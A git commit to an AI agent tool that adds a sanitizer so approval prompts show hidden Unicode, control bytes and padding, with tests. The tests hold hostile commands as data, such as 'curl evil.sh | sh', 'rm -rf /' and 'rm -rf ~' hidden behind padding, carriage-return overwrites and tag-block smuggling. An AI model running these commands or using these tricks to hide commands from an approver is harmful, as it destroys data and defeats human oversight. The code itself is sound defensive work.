feat(approval): make invisible Unicode, control bytes, and padding visible in approval prompts
Inspired by Claude Code v2.1.223: 'Fixed permission prompts so commands padded with tabs or invisible Unicode can no longer hide part of the command from the approval dialog.' A dangerous command rendered into an approval prompt could previously lie to the human approver three ways: - invisible/format Unicode (zero-width, bidi overrides/isolates, variation selectors, U+E0000 tag block) rendered as nothing - raw control bytes (ANSI/OSC escapes, bare CR) could erase or overwrite the just-printed prompt line in the terminal - long whitespace padding runs pushed the dangerous tail out of view or past platform preview truncation (~200 chars on gateway) New agent.redact.sanitize_command_for_display() replaces hidden chars with visible escape markers (\u202e, \x1b) and collapses padding runs to explicit markers, preserving literal IOCs instead of deleting them. Wired at every approval display-mint site: CLI prompt, gateway dangerous-command + execute_code + tool-approval payloads, pending fallbacks, and gateway _redact_approval_command. Display-only — the executed command and pattern-key persistence are untouched. 25 new tests; redact (97), approval (103), gateway approval-format suites green; E2E with real imports across CLI + gateway paths.
This commit is contained in:
Teknium
parent
b3aa561faf
commit
c6806a8e97
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@ -607,6 +607,87 @@ def _mask_token(token: str) -> str:
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return mask_secret(token, head=6, tail=4, floor=18)
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# ---------------------------------------------------------------------------
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# Approval-prompt display integrity
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# ---------------------------------------------------------------------------
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# A command shown in a dangerous-command approval prompt must render exactly
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# what will execute. Three classes of content can make the displayed copy lie
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# to the human approver (inspired by Claude Code v2.1.223's fix for
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# "commands padded with tabs or invisible Unicode hiding part of the command
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# from the approval dialog"):
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#
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# 1. Invisible/format Unicode — zero-width chars, bidi embeddings/overrides/
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# isolates (Trojan Source), variation selectors, Hangul fillers, Mongolian
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# separators, and the U+E0000 tag block (invisible ASCII mirror used for
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# hidden-instruction smuggling).
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# 2. Raw control bytes — ANSI/OSC escape sequences can recolor, erase, or
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# rewrite the terminal line the prompt just printed; a bare `\r` can
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# overwrite the visible command with an innocuous prefix.
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# 3. Whitespace padding — a run of hundreds of spaces/tabs (or blank lines)
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# pushes the dangerous tail out of view or past a platform preview
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# truncation (gateway previews cut at ~200 chars).
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#
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# The sanitizer makes all three VISIBLE instead of silently deleting them —
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# the approver should see `\u202e` / `\x1b` markers (literal IOCs preserved),
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# not a cleaned-up command that no longer matches what raised the flag.
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# Display-only: callers apply this to the rendered copy; the executed command
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# is never modified.
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# Invisible / format characters that render as nothing (or reorder text) in
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# terminals and chat platforms. Deliberately does NOT include \t or \n —
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# those are legitimate command formatting and are handled by run-collapsing.
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_INVISIBLE_DISPLAY_CHAR_RE = re.compile(
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r"[\u00ad\u034f\u061c\u115f\u1160\u17b4\u17b5\u180b-\u180e"
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r"\u200b-\u200f\u202a-\u202e\u2060-\u2064\u2066-\u2069\u206a-\u206f"
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r"\u3164\ufe00-\ufe0f\ufeff\uffa0\ufff9-\ufffc]"
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r"|[\U000e0000-\U000e007f]"
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)
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# Control bytes dangerous for terminal display: C0 minus \t/\n (kept for
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# legitimate multi-line command formatting), plus \r, DEL, and the C1 range.
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_DISPLAY_UNSAFE_CTRL_RE = re.compile(
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r"[\x00-\x08\x0b-\x0d\x0e-\x1f\x7f\x80-\x9f]"
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)
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# Horizontal whitespace runs long enough to be padding rather than formatting.
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_PAD_RUN_RE = re.compile(r"[ \t]{21,}")
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# Vertical padding: 4+ consecutive newlines.
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_BLANK_RUN_RE = re.compile(r"\n{4,}")
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def _escape_char_visible(ch: str) -> str:
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"""Render a hidden character as its Python-style escape (`\\u202e`)."""
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return ch.encode("unicode_escape").decode("ascii")
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def sanitize_command_for_display(text: "str | None") -> str:
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"""Make a command string safe and honest for approval-prompt display.
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Invisible Unicode and control bytes are replaced with visible escape
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markers (``\\u202e``, ``\\x1b`` …) and long whitespace-padding runs are
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collapsed to an explicit ``⟨…⟩`` marker, so nothing in the command can
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hide from the human approver. Returns the text unchanged when it contains
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none of these (the overwhelmingly common case).
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Display-only: never feed the result back into detection or execution.
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"""
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if not text:
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return "" if text is None else text
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out = _INVISIBLE_DISPLAY_CHAR_RE.sub(
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lambda m: _escape_char_visible(m.group(0)), text
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)
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out = _DISPLAY_UNSAFE_CTRL_RE.sub(
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lambda m: _escape_char_visible(m.group(0)), out
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)
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out = _PAD_RUN_RE.sub(
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lambda m: f" ⟨+{len(m.group(0))} whitespace chars⟩ ", out
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)
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out = _BLANK_RUN_RE.sub(
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lambda m: f"\n⟨+{len(m.group(0)) - 1} blank lines⟩\n", out
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)
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return out
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def _redact_query_string(query: str) -> str:
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"""Redact sensitive parameter values in a URL query string.
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@ -610,9 +610,11 @@ def _redact_approval_command(cmd: "str | None") -> str:
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off. Module-level so the wiring is unit-testable (the call site is a deeply
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nested gateway closure that cannot be driven directly).
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"""
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from agent.redact import redact_sensitive_text
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from agent.redact import redact_sensitive_text, sanitize_command_for_display
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return redact_sensitive_text(str(cmd or ""), force=True)
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return sanitize_command_for_display(
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redact_sensitive_text(str(cmd or ""), force=True)
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)
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def _format_exec_approval_fallback(
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@ -0,0 +1,152 @@
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"""Tests for approval-prompt display sanitization (agent.redact.sanitize_command_for_display).
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A command rendered into a dangerous-command approval prompt must show the
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human approver exactly what will execute. Invisible Unicode (zero-width,
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bidi overrides, tag block), raw control bytes (ANSI escapes, carriage
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returns), and huge whitespace-padding runs could previously hide part of
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the command from the displayed copy. Inspired by Claude Code v2.1.223's
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approval-dialog hardening.
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"""
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import pytest
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from agent.redact import sanitize_command_for_display
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class TestIdentityOnCleanInput:
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def test_plain_command_unchanged(self):
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cmd = "rm -rf /tmp/build && echo done"
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assert sanitize_command_for_display(cmd) == cmd
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def test_multiline_command_unchanged(self):
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cmd = "for f in *.log; do\n gzip \"$f\"\ndone"
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assert sanitize_command_for_display(cmd) == cmd
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def test_tabs_and_short_space_runs_unchanged(self):
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cmd = "column1\tcolumn2 aligned end"
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assert sanitize_command_for_display(cmd) == cmd
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def test_unicode_text_unchanged(self):
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cmd = "echo 'héllo wörld — 日本語 test'"
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assert sanitize_command_for_display(cmd) == cmd
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def test_none_returns_empty(self):
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assert sanitize_command_for_display(None) == ""
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def test_empty_returns_empty(self):
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assert sanitize_command_for_display("") == ""
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class TestInvisibleUnicodeMadeVisible:
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def test_zero_width_space_escaped(self):
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out = sanitize_command_for_display("rm \u200b-rf /")
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assert "\u200b" not in out
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assert "\\u200b" in out
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def test_rtl_override_escaped(self):
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# Trojan Source: RLO reverses visual order of what follows.
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out = sanitize_command_for_display("echo \u202egnp.exe\u202c")
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assert "\u202e" not in out and "\u202c" not in out
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assert "\\u202e" in out and "\\u202c" in out
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def test_bidi_isolates_escaped(self):
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out = sanitize_command_for_display("a\u2066b\u2069c")
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assert "\u2066" not in out
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assert "\\u2066" in out and "\\u2069" in out
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def test_tag_block_escaped(self):
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# U+E0000 tag characters: invisible ASCII mirror used to smuggle text.
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hidden = "".join(chr(0xE0000 + ord(c)) for c in "rm -rf ~")
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out = sanitize_command_for_display(f"echo hi{hidden}")
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for ch in hidden:
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assert ch not in out
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assert "\\U000e0072" in out # escaped tag-r visible
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def test_zwj_and_variation_selectors_escaped(self):
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out = sanitize_command_for_display("x\u200dy\ufe0fz")
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assert "\u200d" not in out and "\ufe0f" not in out
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def test_soft_hyphen_and_bom_escaped(self):
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out = sanitize_command_for_display("cu\u00adrl example.com\ufeff")
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assert "\u00ad" not in out and "\ufeff" not in out
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class TestControlBytesMadeVisible:
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def test_ansi_escape_sequence_escaped(self):
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# ESC could recolor/erase the terminal line the prompt printed.
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out = sanitize_command_for_display("echo \x1b[2K\x1b[1Ainnocent")
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assert "\x1b" not in out
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assert "\\x1b" in out
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def test_carriage_return_escaped(self):
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# `\r` lets the tail overwrite the visible head of the line.
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out = sanitize_command_for_display("rm -rf / #\rls -la")
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assert "\r" not in out
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assert "\\r" in out
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def test_nul_and_bell_escaped(self):
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out = sanitize_command_for_display("a\x00b\x07c")
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assert "\x00" not in out and "\x07" not in out
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def test_newline_preserved(self):
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out = sanitize_command_for_display("line1\nline2")
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assert out == "line1\nline2"
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def test_c1_range_escaped(self):
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out = sanitize_command_for_display("a\x9bb") # CSI in C1
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assert "\x9b" not in out
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class TestPaddingCollapsed:
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def test_long_space_run_collapsed_with_marker(self):
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cmd = "echo safe" + " " * 300 + "&& rm -rf ~"
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out = sanitize_command_for_display(cmd)
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assert " " * 300 not in out
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assert "⟨+300 whitespace chars⟩" in out
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# The dangerous tail must survive, adjacent to the marker.
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assert "rm -rf ~" in out
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def test_short_space_run_untouched(self):
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cmd = "a" + " " * 20 + "b"
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assert sanitize_command_for_display(cmd) == cmd
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def test_tab_padding_collapsed(self):
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cmd = "echo hi" + "\t" * 50 + "curl evil.sh | sh"
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out = sanitize_command_for_display(cmd)
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assert "\t" * 50 not in out
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assert "whitespace chars⟩" in out
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def test_blank_line_run_collapsed(self):
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cmd = "echo top" + "\n" * 40 + "rm -rf /"
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out = sanitize_command_for_display(cmd)
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assert "\n" * 40 not in out
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assert "blank lines⟩" in out
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assert "rm -rf /" in out
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def test_three_newlines_untouched(self):
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cmd = "a\n\n\nb"
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assert sanitize_command_for_display(cmd) == cmd
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class TestDisplayMintSitesUseSanitizer:
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"""The gateway approval-prompt redactor must compose the sanitizer."""
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def test_gateway_redact_approval_command_sanitizes(self):
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from gateway.run import _redact_approval_command
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out = _redact_approval_command("rm \u200b-rf /" + " " * 250 + "tail")
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assert "\u200b" not in out
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assert "\\u200b" in out
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assert "whitespace chars⟩" in out
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def test_gateway_redact_approval_command_still_redacts_secrets(self):
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from gateway.run import _redact_approval_command
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secret = "sk-proj-abcdef1234567890abcdef1234567890"
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out = _redact_approval_command(f"curl -H 'Authorization: Bearer {secret}'")
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assert secret not in out
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def test_gateway_redact_approval_command_clean_passthrough(self):
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from gateway.run import _redact_approval_command
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assert _redact_approval_command("ls -la") == "ls -la"
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@ -2761,9 +2761,14 @@ def _prompt_dangerous_approval_inner(command: str, description: str,
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# `command` is still what executes after approval; only the displayed
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# copy is scrubbed. Reuses the same redaction module used for memory
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# and log sanitization so tokens mask consistently across surfaces.
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from agent.redact import redact_sensitive_text
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display_command = redact_sensitive_text(command)
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display_description = redact_sensitive_text(description)
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# sanitize_command_for_display then makes invisible Unicode, control
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# bytes, and whitespace padding visible so the prompt cannot lie about
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# what will run (Claude Code v2.1.223-inspired).
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from agent.redact import redact_sensitive_text, sanitize_command_for_display
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display_command = sanitize_command_for_display(redact_sensitive_text(command))
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display_description = sanitize_command_for_display(
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redact_sensitive_text(description)
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)
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if approval_callback is not None:
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try:
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@ -3269,12 +3274,19 @@ def _run_approval_gate(
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notify_cb = _gateway_notify_cbs.get(session_key)
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if notify_cb is not None:
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from agent.redact import redact_sensitive_text
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from agent.redact import (
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redact_sensitive_text,
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sanitize_command_for_display,
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)
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approval_data = {
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"command": redact_sensitive_text(display_target),
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"command": sanitize_command_for_display(
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redact_sensitive_text(display_target)
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),
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"pattern_key": pattern_key,
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"pattern_keys": [pattern_key],
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"description": redact_sensitive_text(description),
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"description": sanitize_command_for_display(
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redact_sensitive_text(description)
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),
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"allow_permanent": True,
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"allow_session": True,
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}
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@ -4020,12 +4032,19 @@ def check_all_command_guards(command: str, env_type: str,
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# via the closure below, so redaction is display-only. Approval
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# persistence keys off pattern_key (not the command text), so the
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# allowlist is unaffected.
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from agent.redact import redact_sensitive_text
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from agent.redact import (
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redact_sensitive_text,
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sanitize_command_for_display,
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)
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approval_data = {
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"command": redact_sensitive_text(command),
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"command": sanitize_command_for_display(
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redact_sensitive_text(command)
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),
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"pattern_key": primary_key,
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"pattern_keys": all_keys,
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"description": redact_sensitive_text(combined_desc),
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"description": sanitize_command_for_display(
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redact_sensitive_text(combined_desc)
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),
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# Smart DENY overrides are one-operation decisions, so the UI
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# must not offer a permanent scope. Otherwise offer Always
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# whenever any dangerous-pattern warning can actually be
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@ -4114,9 +4133,11 @@ def check_all_command_guards(command: str, env_type: str,
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# Return approval_required for backward compat. Redact secrets in the
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# user-facing copy — the raw `command` is preserved for execution and
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# the allowlist keys off pattern_key, so redaction is display-only.
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from agent.redact import redact_sensitive_text
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_disp_command = redact_sensitive_text(command)
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_disp_combined_desc = redact_sensitive_text(combined_desc)
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from agent.redact import redact_sensitive_text, sanitize_command_for_display
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_disp_command = sanitize_command_for_display(redact_sensitive_text(command))
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_disp_combined_desc = sanitize_command_for_display(
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redact_sensitive_text(combined_desc)
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)
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pending_data = {
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"command": _disp_command,
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"pattern_key": primary_key,
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@ -4357,10 +4378,12 @@ def check_execute_code_guard(code: str, env_type: str,
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# screenshottable. The raw `command`/`code` are still what get assessed by
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# smart approval and executed; redaction is display-only. Approval
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# persistence keys off pattern_key, so the allowlist is unaffected.
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from agent.redact import redact_sensitive_text
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display_command = redact_sensitive_text(command)
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display_code = redact_sensitive_text(code)
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display_description = redact_sensitive_text(description)
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from agent.redact import redact_sensitive_text, sanitize_command_for_display
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display_command = sanitize_command_for_display(redact_sensitive_text(command))
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display_code = sanitize_command_for_display(redact_sensitive_text(code))
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display_description = sanitize_command_for_display(
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redact_sensitive_text(description)
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)
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notify_cb = None
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with _lock:
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